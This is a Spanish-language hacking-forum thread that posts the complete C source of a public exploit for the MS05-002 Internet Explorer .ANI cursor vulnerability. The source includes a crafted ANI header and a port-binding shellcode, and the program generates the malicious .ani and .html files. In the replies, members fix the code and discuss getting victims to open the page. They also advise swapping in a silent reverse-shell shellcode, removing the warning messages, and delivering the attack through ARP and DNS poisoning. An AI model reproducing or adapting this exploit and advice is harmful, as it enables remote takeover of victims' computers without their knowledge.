Páginas: [1] 2
|
 |
|
Autor
|
Tema: (MS05-002) Microsoft Internet Explorer .ANI Files (EXPLOIT UNIVERSAL!) (Leído 2151 veces)
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Al rico codigo!  Recien sacado de Bugtraq  *********************************** /* HOD-ms05002-ani-expl.c: 2005-01-10: PUBLIC v.0.2 * * Copyright (c) 2004-2005 houseofdabus. * * (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit * (CAN-2004-1049) * * * * .::[ houseofdabus ]::. * * * * (universal -- for all affected systems) * --------------------------------------------------------------------- * Description: * A remote code execution vulnerability exists in the way that * cursor, animated cursor, and icon formats are handled. An attacker * could try to exploit the vulnerability by constructing a malicious * cursor or icon file that could potentially allow remote code * execution if a user visited a malicious Web site or viewed a * malicious e-mail message. An attacker who successfully exploited * this vulnerability could take complete control of an affected * system. * * --------------------------------------------------------------------- * Patch: * http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx * * --------------------------------------------------------------------- * Tested on: * - Windows Server 2003 * - Windows XP SP1 * - Windows XP SP0 * - Windows 2000 SP4 * - Windows 2000 SP3 * - Windows 2000 SP2 * * --------------------------------------------------------------------- * Compile: * * Win32/VC++ : cl -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c * Win32/cygwin: gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c * Linux : gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c * * --------------------------------------------------------------------- * Example: * * C:\>HOD-ms05002-ani-expl.exe poc 7777 * <...> * [*] Creating poc.ani file ... Ok * [*] Creating poc.html file ... Ok * * C:\> * * start IE -> C:\poc.html * * C:\>telnet localhost 7777 * Microsoft Windows 2000 [Version 5.00.2195] * (C) Copyright 1985-2000 Microsoft Corp. * * C:\Documents and Settings\Administrator\Desktop> * * --------------------------------------------------------------------- * * This is provided as proof-of-concept code only for educational * purposes and testing by authorized individuals with permission to * do so. * */ #include <stdio.h> #include <stdlib.h> /* ANI header */ unsigned char aniheader[] = "\x52\x49\x46\x46\x9c\x18\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68" "\x7c\x03\x00\x00\x24\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" /* jmp offset, no Jitsu */ "\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90" "\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00" "\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00" "\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00" "\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00" "\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00" "\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; /* portbind shellcode */ unsigned char shellcode[] = "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70" "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6" "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e" "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83" "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32" "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59" "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50" "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50" "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14" "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc" "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c" "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33" "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44" "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d" "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50" "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55" "\x28\xff\x55\x0c"; #define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) = (port) unsigned char discl[] = "This is provided as proof-of-concept code only for educational" " purposes and testing by authorized individuals with permission" " to do so."; unsigned char html[] = "<html>\n" "(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit" "<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href =\"" "http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\">" "Patch (MS05-002)</a>\n" "<script>alert(\"%s\")</script>\n<head>\n\t<style>\n" "\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n" "</html>"; unsigned short fixx(unsigned short p) { unsigned short r = 0; r = (p & 0xFF00) >> 8; r |= (p & 0x00FF) << 8; return r; } void usage(char *prog) { printf("Usage:\n"); printf("%s <file> <bindport>\n\n", prog); exit(0); } int main(int argc, char **argv) { FILE *fp; unsigned short port; unsigned char f[256+5] = ""; unsigned char anib[912] = ""; printf("\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\n\n"); printf("\tCopyright (c) 2004-2005 .: houseofdabus :.\n\n\n"); printf("Tested on all affected systems:\n"); printf(" [+] Windows Server 2003\n [+] Windows XP SP1, SP0\n"); printf(" [+] Windows 2000 All SP\n\n"); printf("%s\n\n", discl); if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) { printf("[-] Size of shellcode must be <= 686 bytes\n"); return 0; } if (argc < 3) usage(argv[0]); if (strlen(argv[1]) > 256) { printf("[-] Size of filename must be <=256 bytes\n"); return 0; } /* creating ani file */ strcpy(f, argv[1]); strcat(f, ".ani"); printf("[*] Creating %s file ...", f); fp = fopen(f, "wb"); if (fp == NULL) { printf("\n[-] error: can\'t create file: %s\n", f); return 0; } memset(anib, 0x90, 912); /* header */ memcpy(anib, aniheader, sizeof(aniheader)-1); /* shellcode */ port = atoi(argv[2]); SET_PORTBIND_PORT(shellcode, fixx(port)); memcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1); fwrite(anib, 1, 912, fp); printf(" Ok\n"); fclose(fp); /* creating html file */ f[0] = '\0'; strcpy(f, argv[1]); strcat(f, ".html"); printf("[*] Creating %s file ...", f); fp = fopen(f, "wb"); if (fp == NULL) { printf("\n[-] error: can\'t create file: %s\n", f); return 0; } sprintf(anib, html, discl, argv[1]); fwrite(anib, 1, strlen(anib), fp); printf(" Ok\n"); fclose(fp); return 0; } ************************************ Salu2 
|
|
|
|
|
En línea
|
|
|
|
fandango
Another
Colaborador
Desconectado
Mensajes: 1.883
Powered By Slackware!
|
Lo has podido compilar rojodos??, a mi en linux no me compila.
Saludos.
|
|
|
|
|
En línea
|
|
|
|
|
|
fandango
Another
Colaborador
Desconectado
Mensajes: 1.883
Powered By Slackware!
|
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Colaborador
Desconectado
Mensajes: 2.324
Peace & Love
|
tenia un pequeño error que una linea se dividio o rompio solo deben arreglar esto: #define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) = (port) Eso va en una sola linea. * Example: * * C:\>HOD-ms05002-ani-expl.exe poc 7777 * <...> * - Creating poc.ani file ... Ok
* - Creating poc.html file ... Ok
* * C:\> * * start IE -> C:\poc.html Eso es para ejecutarlo localmente y debemos hacer que la persona abra el ie? Si es así quizas se pueda modificar un poco para que haga todo eso automaticamente o no?
|
|
|
|
« Última modificación: 23 Enero 2005, 11:20 por Crack_X »
|
En línea
|
|
|
|
ixen
Desconectado
Mensajes: 3
|
Util el exploit como tal pero esta claro que con esto no se puede hacer nada.
El puerto esta abierto el tiempo que el usuario tenga la pagina html (que crea el exploit) abierta.
Cuando te conectas al puerto abierto te devuelve un shell pero tambien se habre en el pc que tiene la web abierta una ventana indicando que se ha abierto este shell.
Si se cierra esa shell o la pagina web todo se cierra.
En cuanto los mensajes que tiene tanto la pagina web como el boton que indica que esto es solo para uso de investigacion son faciles de quitar.
esto cambiando el shell code (cogiendo por ejemplo shell code de otros exploits) queda mucho mejor. Me acabo de dar cuenta que el shelcode no puede superar los 686 bytes lo que me acaba de fastidiar el invento de un exploit mas potente jejejeje.
Me da que el tio que ha echo esto no es tonto y que sera dificil encontrar un shellcode mejor que el que ha puesto a menos que el que pusiera lo hiciera solo por probar.
|
|
|
|
« Última modificación: 24 Enero 2005, 15:39 por ixen »
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Lo del tamaño de la shellcode: if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) { printf("[-] Size of shellcode must be <= 686 bytes\n"); Una de dos, puedes quitar este check y probar tu scode "mas potente", pero si esta, para mi que es por algo, porque seguramente el buffer a meter la scode solo aguanta 686 bytes.... El exploit en si en el html es esto: "<script>alert(\"%s\")</script>\n<head>\n\t<style>\n" "\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n" Lo demas no hay que ponerlo, salvo claro, los tags html. De todas formas, el ani header[] usa un monton de nops, que a lo mejor, afinando (algo que seguramente ha hecho el coder, pero no lo se), se puede llegar a eliminar los nops. Los nops, al menos en explotacion clasica, estan para que el EIP "caiga" en ellos de forma mas o menos azarosa (usando offests de jmp esp o call esp), "bajen" y ejecuten el codigo (scode). Analizando tranquilamente el exploit, se puede ver perfectamente como funciona, y desde luego, el autor sabe lo que hace... Lo que si veo es una cantidad de nulls (0x00) bastante considerable... Estas seguro que funciona? A mi me enseñaron a no meter nulos en los strings xDDDD Salu2
|
|
|
|
|
En línea
|
|
|
|
Gospel
Colaborador
Desconectado
Mensajes: 1.580
|
Util el exploit como tal pero esta claro que con esto no se puede hacer nada.
El puerto esta abierto el tiempo que el usuario tenga la pagina html (que crea el exploit) abierta.
Cuando te conectas al puerto abierto te devuelve un shell pero tambien se habre en el pc que tiene la web abierta una ventana indicando que se ha abierto este shell.
Si se cierra esa shell o la pagina web todo se cierra.
Teníamos un problema parecido con el exploit del IFRAME, la shellcode original era "bind port" y el puerto sólo permanecía abierto mientras el usuario no cerrara el IEXPLORE después de la explotación de la vulnerabilidad, esto es, un par de segundos a lo sumo. La solución, sustituir la shellcode "bind port" por otra shellcode "reverse shell". Estuvimos probando bastantes shellcodes, pero al ejecutarse mostraban una consola a la victima, lo q era un canteo. Bueno, probando y probando shellcodes L0redo descubrió q la Shellcode "reverse shell" del exploit del GDI+ funciona a la perfección y es silenciosa, es decir, no muestra a la víctima esa ventana de consola. Por tanto, no tienes más q sustituir la shellcode original de este exploit por la shellcode "reverse shell" del exploit GDI+. Tienes dos opciones... 1) Metes la shellcode tal cual y cambias la dirección connectback IP durante el proceso de ejecución del exploit accediendo a la shellcode y cambiando algunos valores... 2) Cambias a pelo la IP en la shellcode y pones la q quieras... En el caso de esta shellcode, tienes q pasar tu IP a hexadecimal y luego XORear con 0x92... Para más información sobre esto, consulta: Práctica 6 – Obtener una shell remota cuando la víctima accede a Internet con el navegador Microsoft Internet Explorer @ .:TALLER PRÁCTICO DE INTRUSIÓN EN REDES LOCALES:. en el foro de Hacking Avanzado http://foro.elhacker.net/index.php/topic,45618.msg228991.html#msg228991Salu2
|
|
|
|
|
En línea
|
|
|
|
Man-In-the-Middle
www.tunchemart.com --OjO-- Solo Quejas!!
Colaborador
Desconectado
Mensajes: 3.324
|
Efectivamente te abre el puerto, pero cuando tratas de coenectar, se cierra, no se que pasa?'
|
|
|
|
|
En línea
|
|
|
|
ixen
Desconectado
Mensajes: 3
|
Moderador -->>>>> Genial!!!!! por algo tu eres moderador y yo solo un vago jejejeje. Que no hombre es que no tengo todo el tiempo que quisiera
|
|
|
|
|
En línea
|
|
|
|
Man-In-the-Middle
www.tunchemart.com --OjO-- Solo Quejas!!
Colaborador
Desconectado
Mensajes: 3.324
|
jajaj, siento bajarte del coche  , pero la pregunta no era para ti(sorry), era para el rojo, y por otro ladoooooo, soy de virus y troyanos  Bueno AlezMad, lo anclo como prueba, en unn server, y el archivo que se crea en temporales de internet (en mi caso index.ani), No se deja borrar.esta blucleado con algo XDD
|
|
|
|
« Última modificación: 25 Enero 2005, 05:16 por Man-In-the-Middle »
|
En línea
|
|
|
|
Gospel
Colaborador
Desconectado
Mensajes: 1.580
|
Moderador -->>>>> Genial!!!!! por algo tu eres moderador y yo solo un vago jejejeje. Que no hombre es que no tengo todo el tiempo que quisiera
Maninthemiddle, creo q se refiere a mi, no a ti cuando dice eso. Se ve q mi idea le ha parecido genial... Aparte, tu eres colaborador en este foro y yo moderador, y viceversa en el foro de virus y troyanos  La verdad, no he tenido tiempo de testear el exploit, pero comparándolo con el exploit del IFRAME, puedo decir q creo q el puerto sólo se mantendrá abierto desde q la vulnerabilidad es explotada hasta q se finaliza el proceso IExplore.exe. Supongo q esto es debido a q la Shellcode se ejecuta en el entorno del navegador y no del sistema operativo. De ser así, la shell remota q obtendríamos al conectarnos poseería privilegios del usuario q ejecutó el IExplore.exe y NO privilegios de SYSTEM, me equivoco?? Jejeje.. es un buen detalle, fácil de comprobar... Si quieres conectarte al puerto justo cuando la vulnerabilidad es explotada, no te queda otra q hacer "polling" sobre el host vulnerable al puerto especificado, esperando q en algún momento se ejecute el exploit y abra el puerto. Para realizar esto, basta con lanzar el netcat desde un bucle FOR casi infinito. Básicamente, está descrito aquí... http://foro.elhacker.net/index.php/topic,45618.msg226575.html#msg226575Está claro, q si se puede cambiar la shellcode, pues el exploit queda más elegante y no hay q andar haciendo chapuzas para obtener la shell remota. Yo, por mi parte, estoy de exámenes así q no puedo meterme a testear cosas, pero mi consejo es probar con la "reverse shell" shellcode del exploit GDI+. Si alguien es tan amable....  Dada la gravedad de este exploit .ANI, junto con el exploit IFRAME, implementados con Envenenamiento ARP + Envenenamiento DNS, conseguir una shell remota es bastante fácil, teniendo en cuenta q sólo son invulnerables los usuarios con Windows SP2 o q utilicen otro navegador q no sea Internet Explorer. Por ello, he actualizado el RECOPILATORIO DE EXPLOITS con estos dos exploits para vulnerabilidades en Microsoft Internet Explorer. Salu2
|
|
|
|
|
En línea
|
|
|
|
muralitox
Desconectado
Mensajes: 13
|
Hola q tal disculpen por ricicir este tema q tiene como un mes pero no queria abrir otro solo para una consulta eh conseguido el html y el ani ahora al leer el manual de gospel aserca de este tema me surgio una duda este es el manual q digo: http://www.geocities.com/unrayodesoul/gospel/Practica.6.Shell.Remota.con.Vuln.IE.IFRAME.Parte.1.byGospel.pdfBueno , la duda es q gospel nunca mensiona el archivo ani en dicho manual y al hacer la prueba localmente con una maquina con XP sp0 , me eh dado cuenta q el archivo ani necesita estar en la maquina. ya sea que le pase el archivo html malicioso y la victima lo ejecute (con IE por supuesto) o que logre q se meta a mi pagina donde esta este html. En el manual no menciona la inclusion de el archivo ani , me pregunto , esto es por que la maquina q tiene corriendo el servidor apache ya tiene este archivo y por tanto no hace falta q lo tenga la victima? si yo quieciera hacer esto pero con un hosting gratuitos de los q ofrecen unas paginas ( geocities por ejemplo ) tendria q hacer q lla victima descargue el ani o de alguna manera si o si? Desde ya gracias
|
|
|
|
|
En línea
|
|
|
|
Gospel
Colaborador
Desconectado
Mensajes: 1.580
|
la duda es q gospel nunca mensiona el archivo ani en dicho manual Eso es pq el manual no trata del exploit ANI, sino del exploit IFRAME...
|
|
|
|
|
En línea
|
|
|
|
muralitox
Desconectado
Mensajes: 13
|
Pido disculpas por q despues de hacer la pregunta me di cuenta de la idiotez q habia pasado por alto y por lo cual no funcionaba  espero me disculpen , habia estado toda la noche con la compu y me acoste como a las 4 , estaba seco de la menta jaja bueno adios!
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1] 2
|
|
|
|